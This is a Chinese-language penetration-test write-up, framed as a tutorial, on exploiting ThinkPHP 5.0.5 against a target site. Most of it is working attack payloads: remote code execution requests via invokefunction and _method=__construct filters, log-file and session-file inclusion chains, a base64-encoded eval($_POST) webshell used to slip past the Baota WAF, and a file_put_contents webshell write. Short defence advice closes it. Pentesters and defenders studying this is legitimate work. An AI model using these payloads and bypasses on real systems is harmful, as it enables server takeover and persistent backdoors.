记一次TP测试
字数 885 2025-08-25 22:59:20
ThinkPHP 5.0.5 漏洞利用实战教学文档
一、目标信息收集
-
版本识别:
- 通过错误路径获取目标版本信息:
https://example.com/admin/indeeex/login.html - 确认目标为 ThinkPHP 5.0.5 版本,且开启了 debug 模式
- 通过错误路径获取目标版本信息:
-
初始探测:
- 直接执行 payload 被宝塔拦截:
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
二、漏洞利用方法
1. POST 方式执行代码
-
成功执行的 payload:
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo -
环境差异:
- PHP5:assert 默认存在代码执行功能
- PHP7:assert 默认不存在代码执行功能
2. 禁用函数列表
目标系统禁用了以下函数:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,
pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,
popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,
pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,
pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
3. 日志包含攻击
-
日志路径获取:
- 通过之前的路径报错获取根路径
- 日志路径示例:
https://example.com/runtime/log/202111/17.log
-
日志包含 payload:
_method=__construct&method=get&filter=think\__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log -
验证日志写入:
- 访问
https://example.com/phpinfo确认日志写入功能 - 直接写入函数会被拦截
- 访问
4. Session 包含攻击
-
Session 写入:
_method=__construct&filter[]=think\Session::set&method=get&get[]=eeee&server[]=1 -
Session 包含:
- 修改 PHPSESSID 为 1111
_method=__construct&method=get&filter=think\__include_file&get[]=/tmp/sess_1111 -
绕过拦截技巧:
- 直接写入 shell 会被拦截
- 使用 base64 编码 payload:
_method=__construct&filter[]=think\Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1
三、最终 Webshell 写入
使用加密方式写入 webshell:
file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));
四、防御建议
-
ThinkPHP 防护:
- 及时升级到最新版本
- 关闭 debug 模式
- 过滤特殊字符和危险函数
-
服务器防护:
- 配置 WAF 规则拦截可疑请求
- 限制日志目录访问权限
- 监控 session 文件操作
-
代码层面:
- 对用户输入进行严格过滤
- 禁用不必要的 PHP 函数
- 实现输入输出编码
五、总结
本案例展示了 ThinkPHP 5.0.5 版本中存在的多个安全漏洞利用链,包括:
- 通过构造特殊参数实现代码执行
- 利用日志包含和 session 包含实现文件包含
- 使用编码技术绕过安全防护
渗透测试人员应掌握这些技术用于安全评估,同时开发人员应了解这些漏洞原理以加强防御。